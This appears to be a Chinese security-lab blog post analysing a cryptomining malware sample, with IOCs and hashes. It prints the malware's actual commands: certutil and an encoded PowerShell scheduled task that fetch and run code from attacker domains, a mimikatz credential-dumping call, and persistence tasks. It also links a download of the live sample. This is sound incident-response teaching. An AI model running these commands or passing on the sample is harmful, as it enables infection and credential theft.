安全研究 >> 安全研究详情

这个挖矿病毒帮你开了防火墙,关了445,为什么?

作者: 美创科技安全实验室发布日期: 03月29日
1

前言


最近在给客户应急响应的时候,拿到了一批样本。记得在客户服务器上看到的现象是cpu利用率很多,明显中了挖矿。当时为了尽快解决客户的问题,把病毒处理掉,并没有进行很细致的分析。今天就简单的通过静态和动态的分析,来了解看看这个挖矿病毒到底做了什么?相信看过这篇文章,你能对病毒分析有一个基本的了解。


病毒原文件【svchost.exe】


2

基础概念


恶意代码分析有两种基本方法:静态分析和动态分析。静态分析方法是在没有运行恶意代码时对其进行分析的技术。动态分析方式则需要运行恶意代码。这两类进一步又可分为基础技术和高级技术


概念

基础技术

高级技术

静态分析

检查可执行文件但不查看具体指令的一些技术

对恶意代码内部机制的逆向工程,通过将可执行文件装载到反汇编器中,查看程序指令,来发现恶意代码到底做了什么。通常使用IDA

动态分析

运行恶意代码并观察系统上的行为,以移除感染,产生有效的检测特征码

使用调试器来检查一个恶意可执行程序运行时刻的内部状态。通常使用OllyDbg


本篇主要利用动静态的基础技术,快速了解一个恶意软件的行为特征。


3

病毒分析


静态分析


3.1 : peview 及 dependency walker 查看导入函数表


查看svchost.exe


查看dll,发现共 kernel32.dll ,ws2_32.dll


其中ws2_32.dll 是网络连接常用的dll,猜测有与远程服务器做交互的可能性


kernel32.dll中调用LoadLibraryA , GetCurrentProcessId,gettemppath 等api ,如果有了解过dll注入的话,应该知道这是一种dll注入利用方式会调用的API,因此猜测这里通过dll注入内存获取内存信息,如保存在内存的账号密码,由于在内存里,此时的登录账号密码均为明文,并将某些文件保存到%temp%目录下。


3.2 :strings 查看明文字符串


可以看到一些API和包含email的字符串,猜测存在邮件发送信息的动作


注:这里能看到很多字符串,我没怎么仔细看,可能会漏掉一些重要内容


通过静态分析,我们大致可以猜测,这个恶意软件可能存在网络连接,并有可能通过dll注入的方式获取内存中的敏感信息【一般为账号密码】,并且通过email的方式传送信息,病毒目录可能在%temp%


动态分析


在虚拟机里执行scvhost.exe 查看相关信息


3.3 :process explorer 查看进程信息


3.3.1:打开防火墙关闭敏感端口


svchost.exe首先执行cmd命令


cmd /c net user &

netsh advfirewall set allprofile state on &  

netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCPlocalport=445&

netsh advfirewall firewall add rule name=denyy135 dir=in action=block protocol=TCP localport=135&

netsh advfirewall firewall add rule name=denyy136 dir=in action=block protocol=TCP localport=136&

netsh advfirewall firewall add rule name=denyy137 dir=in action=block protocol=TCP localport=137&

netsh advfirewall firewall add rule name=denyy139 dir=in action=block protocol=TCP localport=139


打开防火墙并关闭 445;135;136;137;139


很有意思吧,一个恶意软件帮受害者打开防火墙并关闭了445等危险端口。这里猜测黑客的意图是想保护该服务器不受其他恶意软件的感染,只被它自己利用。同时也可合理猜测,该恶意软件可通过445等端口传播。看到这里,是不是要好好检查下自己电脑这几个端口有没有关闭了。命令我都贴出来了,自己复制执行吧。


3.3.2:下载恶意软件保存至c:\install.exe,并执行


使用certutil 远程下载文件,并执行


certutil -urlcache -split -f http://dl.haqo.net/dll.exe?fr=eb c:\install.exe &&c:\install.exe 


这里,由于该域名无法访问,恶意软件未正常下载


3.3.3:设置计划任务进行全网扫描


设置计划任务


schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "C:\Users\lenovo\Desktop\4\svchost.exe" /F


在system用户下面,创建名为DnsScan的计划任务,在每天7:05时开始,每隔60分钟开始运行。配合apatedns记录可以看到,该计划任务在全网疯狂扫描以感染其他机器


3.3.4:设置计划任务远程加载powershell脚本并执行,以获取账号密码


cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e  

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgBOACkALgBkAG8AdwBuAGwAbwBhAGQAcwBOAHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJAB1AG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=”/F


其中部分经过base64解码可得


cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e  IEX (New-Object Net.WebClienN).downloadsNring('http://v.beahh.com/v'+$unv:USERDOMAIN) " /F


每天7点,每隔50分钟执行该命令,该命令用于远程加载powershell脚本,加载完成后,调用该powershell脚本


由以上命令可知,远程加载的powershell脚本为m.ps1


执行

c:\windows\sysnative\windowspowershell\v1.0\powershell.exe -exec bypass "import-module c:\users\lenovo\desktop\4\m.ps1;invoke-cats -pwds"


m.ps1 执行之后,在目录中生成oskjwh28s3.exe,mkatz.ini


m.ps1经virustotal扫描识别为mimikatz的程序,mimikatz是在内存中获取系统登录的账号和密码程序


mkatz.ini为m.ps1的记录文档


3.3.5:开放端口65531


netsh firewall add portopening tcp 65531 dns 开放端口


3.3.6:判断是否加域


3.4:process monitor 查看文件和注册表操作记录


这里重点关注注册表的键值生成以及对文件的写操作


可以看到存在系统日志的记录,并写入文件在以下目录


C:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.dat


C:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.dat


经排查,这些写文件的操作应是系统自身的日志记录


3.5:查看apateDNS 记录


排除干扰域名后,可以看到该程序访问过lpp.beahh.com ; dl.haqo.net; ip.42.pl


并存在大量的对外的ip端口扫描


其中ip.42.pl 用于查看本机Ip地址

lpp.beahh.com ; dl.haqo.net;  在分析时已无法正常访问


4

总结


通过静态和动态分析可知

1 svchost执行后,生成install.exe,m.ps1,oskjwh28s3.exe 文件


2 恶意远程链接地址【lpp.beahh.com ; dl.haqo.net; v.beahh.com/v】


3 生成恶意的计划任务,计划任务名为【DnsScan】用于感染其他机器


【\Microsoft\windows\Bluetooths】保持恶意进程的持久性,下载m.ps1并执行,获取内存中的账号密码,并有可能通过电子邮件的方式传送账号信息


4 开启防火墙,关闭445等端口,开放65531端口


IOC

域名:[lpp.beahh.com] [dl.haqo.net] [v.beahh.com]


主要样本的hash

m.ps1

md5:4e4a2b3a8909ac1b4b79ac63c43d1dd8

sha-1:2b437073e418dba424ea0df7ff1f02056fc4c385

sha256:d943bc6dc7614894cc1c741c6c18ac2dbd2c5069f3ab9bc9def5cc2661e54dee


svchost.exe

md5:0a4dcd170708f785f314c16797baaddb

sha-1:c61aed5605251eb75d775605cd92b1e97e7d3537

sha256:45176261a7362c49abe4c3e668235e206e8bad44f66d428caf9d9e5118d83210


病毒样本地址:

链接:https://pan.baidu.com/s/1DjNGIRmgmcGWL4W69VxjIg

提取码:aodn


可以看到,在不通过复杂的逆向分析,我们也能大致了解到一个病毒的行为。依据分析的结果,形成定制化的脚本去除该病毒事半功倍!


注:当然,由于环境问题,可能很多程序逻辑没有被触发,如果想要完整的了解到病毒的全貌,还是需要进行逆向分析的

 


参考文档:《恶意代码分析实战》




服务热线:400-711-8011
Copyright ©2005-2018 杭州美创科技有限公司. All Rights Reserved. 浙ICP备 09009762号-1